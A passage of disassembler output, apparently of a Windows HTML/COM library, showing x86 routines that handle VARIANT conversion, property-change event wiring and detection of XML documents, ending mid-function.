		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B5D341
		mov	eax, 80004005h
		jmp	loc_69B5D443
; ---------------------------------------------------------------------------


loc_69B5D341:				; CODE XREF: .text:69B5D335j
		mov	edi, [ebp+8]
		lea	ecx, [edi-14h]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		lea	eax, [ebp-38h]
		push	eax
		mov	esi, VariantInit
		call	esi ; VariantInit
		lea	eax, [ebp-48h]
		push	eax
		call	esi ; VariantInit
		mov	esi, [edi+0Ch]
		lea	eax, [ebp-38h]
		push	eax
		push	offset dword_69B5D44C
		call	sub_69B1D494
		push	eax
		push	esi
		call	sub_69B5EA21
		mov	esi, eax
		test	esi, esi
		jl	short loc_69B5D3BC
		cmp	word ptr [ebp-38h], 8
		jz	short loc_69B5D3B7
		push	8
		push	0
		call	ds:GetThreadLocale	; GetThreadLocale
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		call	VariantChangeTypeEx
		mov	esi, eax
		test	esi, esi
		jl	short loc_69B5D3B3
		mov	eax, [ebp-40h]
		jmp	short loc_69B5D3BF
; ---------------------------------------------------------------------------


loc_69B5D3B3:				; CODE XREF: .text:69B5D3ACj
		xor	eax, eax
		jmp	short loc_69B5D3BF
; ---------------------------------------------------------------------------


loc_69B5D3B7:				; CODE XREF: .text:69B5D38Dj
		mov	eax, [ebp-30h]
		jmp	short loc_69B5D3BF
; ---------------------------------------------------------------------------


loc_69B5D3BC:				; CODE XREF: .text:69B5D386j
		mov	eax, [ebp-4Ch]


loc_69B5D3BF:				; CODE XREF: .text:69B5D3B1j
					; .text:69B5D3B5j ...
		and	dword ptr [ebp-4], 0
		test	esi, esi
		jl	short loc_69B5D413
		mov	word ptr [ebp-5Ch], 8
		mov	[ebp-54h], eax
		mov	eax, [edi+4]
		mov	ecx, [eax]
		lea	edx, [ebp-60h]
		push	edx
		sub	esp, 10h
		lea	esi, [ebp-5Ch]
		mov	edi, esp
		movsd
		movsd
		movsd
		movsd
		push	eax
		call	dword ptr [ecx+0E8h]
		mov	esi, eax
		mov	[ebp-64h], esi
		jmp	short loc_69B5D413
; ---------------------------------------------------------------------------


loc_69B5D3F3:				; DATA XREF: .text:69B5D454o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B5D3FC:				; DATA XREF: .text:69B5D458o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	esi, eax


loc_69B5D413:				; CODE XREF: .text:69B5D3C5j
					; .text:69B5D3F1j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	eax, [ebp-38h]
		push	eax
		mov	edi, VariantClear
		call	edi ; VariantClear
		cmp	word ptr [ebp-48h], 0
		jz	short loc_69B5D430
		lea	eax, [ebp-48h]
		push	eax
		call	edi ; VariantClear


loc_69B5D430:				; CODE XREF: .text:69B5D428j
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, esi


loc_69B5D443:				; CODE XREF: .text:69B5D33Cj
		call	sub_69B1853C
		retn	4
; ---------------------------------------------------------------------------
		align 4
dword_69B5D44C	dd 637273h	dword_69B5D450	dd 0FFFFFFFFh			dd offset loc_69B5D3F3
		dd offset loc_69B5D3FC

; =============== S U B	R O U T	I N E =======================================



sub_69B5D45C	proc near		; CODE XREF: .text:69B5D8D3j
					; DATA XREF: .text:off_69B12B00o
		push	60h
		push	offset dword_69B5D680
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B5D47F
		mov	eax, 80004005h
		jmp	loc_69B5D672
; ---------------------------------------------------------------------------


loc_69B5D47F:				; CODE XREF: sub_69B5D45C+17j
		mov	ebx, [ebp+8]
		lea	ecx, [ebx+4]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	eax, [ebp+10h]
		test	eax, eax
		jnz	short loc_69B5D4A9
		mov	dword ptr [ebp-2Ch], 80070057h
		jmp	loc_69B5D65E
; ---------------------------------------------------------------------------


loc_69B5D4A9:				; CODE XREF: sub_69B5D45C+3Fj
		and	dword ptr [eax], 0
		and	dword ptr [ebp-4], 0
		push	eax
		mov	esi, [ebp+0Ch]
		push	esi
		push	ebx
		call	sub_69B448B2
		mov	[ebp-2Ch], eax
		cmp	eax, 80004002h
		jnz	loc_69B5D65A
		push	4
		pop	eax
		mov	ecx, eax
		mov	edi, offset dword_69B2AFE0
		xor	edx, edx
		repe cmpsd
		jz	loc_69B5D621
		mov	ecx, eax
		mov	edi, offset dword_69B2B050
		mov	esi, [ebp+0Ch]
		xor	edx, edx
		repe cmpsd
		jz	loc_69B5D621
		mov	ecx, eax
		mov	edi, offset dword_69B2B100
		mov	esi, [ebp+0Ch]
		xor	edx, edx
		repe cmpsd
		jnz	short loc_69B5D557
		push	2Ch
		call	sub_69B11E44
		mov	ecx, eax
		mov	[ebp-30h], ecx
		test	ecx, ecx
		jz	short loc_69B5D534
		mov	eax, [ebx+1Ch]
		mov	[ebp-34h], eax
		mov	eax, [eax+18h]
		mov	[ebp-38h], eax
		add	eax, 0A4h
		push	eax
		lea	eax, [ebx+3Ch]
		push	eax
		push	ebx
		push	offset dword_69B2B0E0
		call	sub_69B50CCC
		jmp	short loc_69B5D536
; ---------------------------------------------------------------------------


loc_69B5D534:				; CODE XREF: sub_69B5D45C+B3j
		xor	eax, eax


loc_69B5D536:				; CODE XREF: sub_69B5D45C+D6j
		mov	[ebp-3Ch], eax
		test	eax, eax
		jz	short loc_69B5D54B
		mov	ecx, [ebp+10h]
		mov	[ecx], eax
		and	dword ptr [ebp-2Ch], 0
		jmp	loc_69B5D65A
; ---------------------------------------------------------------------------


loc_69B5D54B:				; CODE XREF: sub_69B5D45C+DFj
					; sub_69B5D45C+147j
		mov	dword ptr [ebp-2Ch], 8007000Eh
		jmp	loc_69B5D65A
; ---------------------------------------------------------------------------


loc_69B5D557:				; CODE XREF: sub_69B5D45C+A3j
		mov	ecx, eax
		mov	edi, offset dword_69B2A558
		mov	esi, [ebp+0Ch]
		xor	eax, eax
		repe cmpsd
		jnz	loc_69B5D611
		lea	esi, [ebx+40h]
		mov	eax, [esi]
		mov	[ebp-40h], eax
		test	eax, eax
		jnz	loc_69B5D604
		push	44h
		call	sub_69B17EF3
		mov	[ebp-44h], eax
		test	eax, eax
		jz	short loc_69B5D592
		mov	ecx, eax
		call	sub_69B78994
		jmp	short loc_69B5D594
; ---------------------------------------------------------------------------


loc_69B5D592:				; CODE XREF: sub_69B5D45C+12Bj
		xor	eax, eax


loc_69B5D594:				; CODE XREF: sub_69B5D45C+134j
		push	eax
		mov	ecx, esi
		call	sub_69B199CC
		mov	eax, [esi]
		mov	[ebp-48h], eax
		test	eax, eax
		jz	short loc_69B5D54B
		mov	[ebp-4Ch], eax
		or	dword ptr [eax+40h], 8
		mov	eax, [ebx+24h]
		mov	[ebp-50h], eax
		mov	ecx, [esi]
		mov	[ebp-54h], ecx
		push	eax
		call	sub_69B77AF4
		mov	edx, [ebx+20h]
		mov	[ebp-58h], edx
		test	edx, edx
		jz	short loc_69B5D5ED
		mov	eax, [esi]
		mov	[ebp-5Ch], eax
		lea	ecx, [eax+0Ch]
		mov	[ebp-60h], edx
		mov	eax, [ecx]
		push	edx
		call	dword ptr [eax]
		mov	eax, [esi]
		mov	[ebp-64h], eax
		lea	ecx, [eax+0Ch]
		mov	eax, [ecx]
		push	2
		push	2
		push	offset stru_69B1CA6C
		call	dword ptr [eax+4]


loc_69B5D5ED:				; CODE XREF: sub_69B5D45C+169j
		mov	ebx, [ebx+1Ch]
		mov	[ebp-68h], ebx
		mov	ebx, [ebx+18h]
		mov	[ebp-6Ch], ebx
		mov	ecx, [esi]
		mov	[ebp-70h], ecx
		push	ebx
		call	sub_69B78DF4


loc_69B5D604:				; CODE XREF: sub_69B5D45C+119j
		mov	esi, [esi]
		mov	eax, [esi]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		jmp	short loc_69B5D61D
; ---------------------------------------------------------------------------


loc_69B5D611:				; CODE XREF: sub_69B5D45C+109j
		mov	ebx, [ebx+1Ch]
		mov	eax, [ebx]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	ebx


loc_69B5D61D:				; CODE XREF: sub_69B5D45C+1B3j
		call	dword ptr [eax]
		jmp	short loc_69B5D657
; ---------------------------------------------------------------------------


loc_69B5D621:				; CODE XREF: sub_69B5D45C+7Bj
					; sub_69B5D45C+8Fj
		mov	eax, ebx
		lea	ecx, [ebx+10h]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		mov	ecx, [ebp+10h]
		mov	[ecx], eax
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+4]
		jmp	short loc_69B5D65A
; ---------------------------------------------------------------------------


loc_69B5D639:				; DATA XREF: .text:69B5D684o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B5D642:				; DATA XREF: .text:69B5D688o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B5D657:				; CODE XREF: sub_69B5D45C+1C3j
		mov	[ebp-2Ch], eax


loc_69B5D65A:				; CODE XREF: sub_69B5D45C+67j
					; sub_69B5D45C+EAj ...
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B5D65E:				; CODE XREF: sub_69B5D45C+48j
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-2Ch]


loc_69B5D672:				; CODE XREF: sub_69B5D45C+1Ej
		call	sub_69B1853C
		retn	0Ch
sub_69B5D45C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B5D680	dd 0FFFFFFFFh			dd offset loc_69B5D639
		dd offset loc_69B5D642

; =============== S U B	R O U T	I N E =======================================



sub_69B5D68C	proc near		; DATA XREF: .text:69B12B10o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		xor	eax, eax
		cmp	[esp+arg_4], eax
		jnz	short locret_69B5D69D
		mov	ecx, [esp+arg_0]
		call	sub_69B5D064

locret_69B5D69D:			; CODE XREF: sub_69B5D68C+6j
		retn	0Ch
sub_69B5D68C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5D6A0	proc near		; CODE XREF: sub_69B5D8D8+2Bp
					; sub_69B5D986+A6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		mov	esi, ecx
		mov	eax, [esi+1Ch]
		mov	eax, [eax+18h]
		mov	ecx, [eax]
		lea	edx, [ebp+var_8]
		push	edx
		push	offset dword_69B2B100
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B5D741
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B25D04
		push	eax
		call	dword ptr [ecx+10h]
		mov	edi, eax
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		test	edi, edi
		jl	short loc_69B5D741
		cmp	[ebp+arg_0], 0
		jz	short loc_69B5D72A
		cmp	dword ptr [esi+28h], 0
		jnz	short loc_69B5D718
		push	1Ch
		call	sub_69B11E44
		test	eax, eax
		jz	short loc_69B5D708
		lea	ecx, [esi+14h]
		push	ecx
		mov	ecx, eax
		call	sub_69B5CF03
		jmp	short loc_69B5D70A
; ---------------------------------------------------------------------------


loc_69B5D708:				; CODE XREF: sub_69B5D6A0+59j
		xor	eax, eax


loc_69B5D70A:				; CODE XREF: sub_69B5D6A0+66j
		test	eax, eax
		mov	[esi+28h], eax
		jnz	short loc_69B5D718
		mov	eax, 8007000Eh
		jmp	short loc_69B5D743
; ---------------------------------------------------------------------------


loc_69B5D718:				; CODE XREF: sub_69B5D6A0+4Ej
					; sub_69B5D6A0+6Fj
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		lea	edx, [esi+30h]
		push	edx
		push	dword ptr [esi+28h]
		push	eax
		call	dword ptr [ecx+14h]
		jmp	short loc_69B5D736
; ---------------------------------------------------------------------------


loc_69B5D72A:				; CODE XREF: sub_69B5D6A0+48j
		mov	eax, [ebp+var_4]
		push	dword ptr [esi+30h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+18h]


loc_69B5D736:				; CODE XREF: sub_69B5D6A0+88j
		mov	edi, eax
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B5D741:				; CODE XREF: sub_69B5D6A0+21j
					; sub_69B5D6A0+42j
		mov	eax, edi


loc_69B5D743:				; CODE XREF: sub_69B5D6A0+76j
		pop	edi
		pop	esi
		leave
		retn	4
sub_69B5D6A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5D749	proc near		; CODE XREF: sub_69B5D774+6p
		push	esi
		mov	esi, ecx
		push	offset dword_69B5D764
		lea	ecx, [esi+4]
		call	sub_69B1D9B7
		call	sub_69B1E031
		mov	eax, esi
		pop	esi
		retn
sub_69B5D749	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B5D764	dd 3050F425h, 11CF98B5h, 0AA0082BBh, 0BCEBD00h
; =============== S U B	R O U T	I N E =======================================



sub_69B5D774	proc near		; CODE XREF: sub_69B3D0C6+45p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B5D749
		xor	ebx, ebx
		mov	dword ptr [esi], offset	off_69B12B00
		mov	dword ptr [esi+4], offset off_69B29180
		mov	dword ptr [esi+10h], offset off_69B29144
		mov	dword ptr [esi+14h], offset off_69B2913C
		mov	dword ptr [esi+18h], offset off_69B29138
		lea	edi, [esi+1Ch]
		mov	[edi], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		lea	ebp, [esi+40h]
		mov	[ebp+0], ebx
		push	44h
		mov	[esi+2Ch], ebx
		call	sub_69B1D897
		cmp	eax, ebx
		jz	short loc_69B5D7CF
		push	[esp+10h+arg_0]
		mov	ecx, eax
		call	sub_69B592CE
		jmp	short loc_69B5D7D1
; ---------------------------------------------------------------------------


loc_69B5D7CF:				; CODE XREF: sub_69B5D774+4Cj
		xor	eax, eax


loc_69B5D7D1:				; CODE XREF: sub_69B5D774+59j
		push	eax
		push	edi
		call	sub_69B17320
		mov	edi, [edi]
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+8]
		push	ebx
		push	ebp
		mov	[esi+30h], ebx
		mov	[esi+28h], ebx
		mov	[esi+38h], ebx
		mov	[esi+3Ch], ebx
		call	sub_69B17320
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_69B5D774	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5D7FC	proc near		; DATA XREF: .text:69B29150o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+0Ch]
		push	[esp+arg_4]
		lea	ecx, [eax+34h]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		retn	8
sub_69B5D7FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5D819	proc near		; DATA XREF: .text:69B29154o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	eax, [esp+4+arg_0]
		mov	eax, [eax+0Ch]
		push	[esp+4+arg_8]
		lea	ecx, [eax+34h]
		push	[esp+8+arg_4]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+10h]
		retn	10h
sub_69B5D819	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5D83E	proc near		; DATA XREF: .text:69B29158o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_14]
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_10]
		mov	eax, [eax+0Ch]
		push	[ebp+arg_C]
		lea	ecx, [eax+34h]
		push	[ebp+arg_8]
		neg	eax
		push	[ebp+arg_4]
		sbb	eax, eax
		and	eax, ecx
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+14h]
		pop	ebp
		retn	18h
sub_69B5D83E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5D869	proc near		; DATA XREF: .text:69B2915Co

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_20]
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_1C]
		mov	eax, [eax+0Ch]
		push	[ebp+arg_18]
		lea	ecx, [eax+34h]
		push	[ebp+arg_14]
		neg	eax
		push	[ebp+arg_10]
		sbb	eax, eax
		push	[ebp+arg_C]
		and	eax, ecx
		push	[ebp+arg_8]
		mov	ecx, [eax]
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+18h]
		pop	ebp
		retn	24h
sub_69B5D869	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5D89D	proc near		; DATA XREF: .text:69B29164o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_1C]
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_18]
		mov	eax, [eax+0Ch]
		push	[ebp+arg_14]
		lea	ecx, [eax+34h]
		push	[ebp+arg_10]
		neg	eax
		push	[ebp+arg_C]
		sbb	eax, eax
		push	[ebp+arg_8]
		and	eax, ecx
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+20h]
		pop	ebp
		retn	20h
sub_69B5D89D	endp

; ---------------------------------------------------------------------------


loc_69B5D8CE:				; DATA XREF: .text:off_69B29144o
		sub	dword ptr [esp+4], 10h
		jmp	sub_69B5D45C

; =============== S U B	R O U T	I N E =======================================



sub_69B5D8D8	proc near		; CODE XREF: .text:69B5DA7Fp
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esi-4]
		push	0
		mov	dword ptr [ecx], offset	off_69B12B00
		mov	dword ptr [esi], offset	off_69B29180
		mov	dword ptr [esi+0Ch], offset off_69B29144
		mov	dword ptr [esi+10h], offset off_69B2913C
		mov	dword ptr [esi+14h], offset off_69B29138
		call	sub_69B5D6A0
		mov	eax, [esi+24h]
		test	eax, eax
		jz	short loc_69B5D915
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B5D915:				; CODE XREF: sub_69B5D8D8+35j
		mov	eax, [esi+28h]
		test	eax, eax
		jz	short loc_69B5D935
		push	0		; int
		push	offset aOnpropertychan ; "onpropertychange"
		push	eax		; int
		push	dword ptr [esi+20h] ; int
		call	sub_69B5E738
		mov	eax, [esi+28h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B5D935:				; CODE XREF: sub_69B5D8D8+42j
		push	0
		lea	edi, [esi+1Ch]
		push	edi
		call	sub_69B17320
		push	0
		lea	ebx, [esi+18h]
		push	ebx
		call	sub_69B17320
		mov	eax, [esi+34h]
		test	eax, eax
		jz	short loc_69B5D958
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B5D958:				; CODE XREF: sub_69B5D8D8+78j
		push	dword ptr [esi+38h]
		call	sub_69B50ECD
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B17230
		add	esi, 20h
		push	esi
		call	sub_69B17230
		push	edi
		call	sub_69B17230
		push	ebx
		call	sub_69B17230
		pop	edi
		pop	esi
		pop	ebx
		jmp	sub_69B2C65C
sub_69B5D8D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5D986	proc near		; DATA XREF: .text:69B12B0Co
		push	30h
		push	offset dword_69B5DA70
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B5D9A9
		mov	eax, 80004005h
		jmp	loc_69B5DA61
; ---------------------------------------------------------------------------


loc_69B5D9A9:				; CODE XREF: sub_69B5D986+17j
		mov	esi, [ebp+8]
		lea	ecx, [esi+4]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+20h]
		push	dword ptr [ebp+0Ch]
		mov	ecx, edi
		call	sub_69B199CC
		mov	eax, [edi]
		mov	ecx, [eax]
		lea	edx, [esi+24h]
		push	edx
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	[ebp-2Ch], eax
		test	eax, eax
		jl	short loc_69B5DA49
		mov	eax, [esi+1Ch]
		mov	[ebp-30h], eax
		mov	eax, [eax+18h]
		mov	[ebp-34h], eax
		lea	ecx, [eax+0Ch]
		mov	edi, [edi]
		mov	[ebp-38h], edi
		mov	eax, [ecx]
		push	edi
		call	dword ptr [eax]
		mov	eax, [esi+1Ch]
		mov	[ebp-3Ch], eax
		mov	eax, [eax+18h]
		mov	[ebp-40h], eax
		lea	ecx, [eax+0Ch]
		mov	eax, [ecx]
		push	2
		push	2
		push	offset stru_69B1CA6C
		call	dword ptr [eax+4]
		mov	ecx, esi
		call	sub_69B5D25C
		mov	[ebp-2Ch], eax
		test	eax, eax
		jl	short loc_69B5DA49
		push	1
		mov	ecx, esi
		call	sub_69B5D6A0
		mov	[ebp-2Ch], eax
		jmp	short loc_69B5DA49
; ---------------------------------------------------------------------------


loc_69B5DA36:				; DATA XREF: .text:69B5DA74o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B5DA3F:				; DATA XREF: .text:69B5DA78o
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-2Ch], 80004005h


loc_69B5DA49:				; CODE XREF: sub_69B5D986+5Cj
					; sub_69B5D986+A0j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-2Ch]


loc_69B5DA61:				; CODE XREF: sub_69B5D986+1Ej
		call	sub_69B1853C
		retn	8
sub_69B5D986	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B5DA70	dd 0FFFFFFFFh			dd offset loc_69B5DA36
		dd offset loc_69B5DA3F
; ---------------------------------------------------------------------------


loc_69B5DA7C:				; DATA XREF: .text:off_69B29180o
		push	esi
		mov	esi, ecx
		call	sub_69B5D8D8
		test	byte ptr [esp+8], 1
		jz	short loc_69B5DA94
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B5DA94:				; CODE XREF: .text:69B5DA89j
		lea	eax, [esi-4]
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_69B5DA9B	proc near		; CODE XREF: sub_69B5DD72+1Ap
					; sub_69B5DD72+30p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	edx, [eax]
		mov	ecx, [esp+arg_4]
		cmp	edx, [ecx]
		jnz	short loc_69B5DAC6
		mov	edx, [eax+4]
		cmp	edx, [ecx+4]
		jnz	short loc_69B5DAC6
		mov	edx, [eax+8]
		cmp	edx, [ecx+8]
		jnz	short loc_69B5DAC6
		mov	eax, [eax+0Ch]
		cmp	eax, [ecx+0Ch]
		jnz	short loc_69B5DAC6
		xor	eax, eax
		inc	eax
		jmp	short locret_69B5DAC8
; ---------------------------------------------------------------------------


loc_69B5DAC6:				; CODE XREF: sub_69B5DA9B+Cj
					; sub_69B5DA9B+14j ...
		xor	eax, eax

locret_69B5DAC8:			; CODE XREF: sub_69B5DA9B+29j
		retn	8
sub_69B5DA9B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5DACB	proc near		; CODE XREF: sub_69B5DAE5+19Ep
					; sub_69B5DAE5+1B0p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	ecx, [esi]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_69B5DAE1
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+8]
		and	dword ptr [esi], 0


loc_69B5DAE1:				; CODE XREF: sub_69B5DACB+Bj
		pop	esi
		retn	4
sub_69B5DACB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5DAE5	proc near		; CODE XREF: sub_69B5E40C+44p

pvarg		= VARIANTARG ptr -50h
var_40		= word ptr -40h
var_30		= word ptr -30h
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	offset aXmldocument ; "XMLDocument"
		mov	edi, ecx
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+var_10], esi
		call	SysAllocString
		cmp	eax, esi
		mov	[ebp+var_20], eax
		jz	loc_69B5DCBF
		mov	eax, [edi+14h]
		mov	ecx, [eax]
		lea	edx, [ebp+var_10]
		push	edx
		push	eax
		call	dword ptr [ecx+48h]
		test	eax, eax
		jl	loc_69B5DCBF
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jz	loc_69B5DCBF
		mov	ecx, [eax]
		lea	edx, [ebp+var_1C]
		push	edx
		push	eax
		call	dword ptr [ecx+24h]
		mov	edi, eax
		cmp	edi, esi
		jl	loc_69B5DCA8
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		mov	[ebp+var_1], 0
		xor	bl, bl
		mov	[ebp+var_30], 3
		mov	[ebp+var_28], esi
		call	VariantInit
		cmp	[ebp+var_1C], esi
		jle	loc_69B5DCA8
		jmp	short loc_69B5DB6B
; ---------------------------------------------------------------------------


loc_69B5DB69:				; CODE XREF: sub_69B5DAE5+1BDj
		xor	esi, esi


loc_69B5DB6B:				; CODE XREF: sub_69B5DAE5+82j
		cmp	edi, esi
		jl	loc_69B5DCA8
		cmp	[ebp+var_1], 0
		jnz	loc_69B5DCA8
		lea	edx, [ebp+var_14]
		push	edx
		sub	esp, 10h
		mov	edi, esp
		mov	eax, [ebp+var_10]
		lea	esi, [ebp+pvarg]
		movsd
		movsd
		mov	ecx, [eax]
		movsd
		movsd
		sub	esp, 10h
		mov	edi, esp
		lea	esi, [ebp+var_30]
		movsd
		movsd
		movsd
		push	eax
		movsd
		call	dword ptr [ecx+2Ch]
		mov	edi, eax
		xor	esi, esi
		cmp	edi, esi
		jl	loc_69B5DC9C
		mov	eax, [ebp+var_14]
		cmp	eax, esi
		jz	loc_69B5DC9C
		mov	ecx, [eax]
		lea	edx, [ebp+var_C]
		push	edx
		push	offset dword_69B2B0A0
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	loc_69B5DC7F
		mov	eax, [ebp+var_C]
		lea	edx, [ebp+var_8]
		push	edx
		mov	[ebp+var_8], esi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0ACh]
		cmp	[ebp+var_8], esi
		jz	short loc_69B5DBFE
		push	offset aXml_1	; "XML"
		push	[ebp+var_8]
		call	sub_69B2ED17
		mov	ebx, eax
		neg	ebx
		sbb	bl, bl
		inc	bl
		jmp	short loc_69B5DC47
; ---------------------------------------------------------------------------


loc_69B5DBFE:				; CODE XREF: sub_69B5DAE5+100j
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		lea	edx, [ebp+var_18]
		push	edx
		push	offset loc_69B2B070
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		mov	eax, [ebp+var_18]
		cmp	eax, esi
		jz	short loc_69B5DC47
		mov	ecx, [eax]
		lea	edx, [ebp+var_8]
		push	edx
		push	eax
		call	dword ptr [ecx+54h]
		cmp	[ebp+var_8], esi
		jz	short loc_69B5DC3C
		push	offset aTextXml	; "text/XML"
		push	[ebp+var_8]
		call	sub_69B2ED17
		test	eax, eax
		jnz	short loc_69B5DC3C
		mov	bl, 1
		jmp	short loc_69B5DC3E
; ---------------------------------------------------------------------------


loc_69B5DC3C:				; CODE XREF: sub_69B5DAE5+140j
					; sub_69B5DAE5+151j
		xor	bl, bl


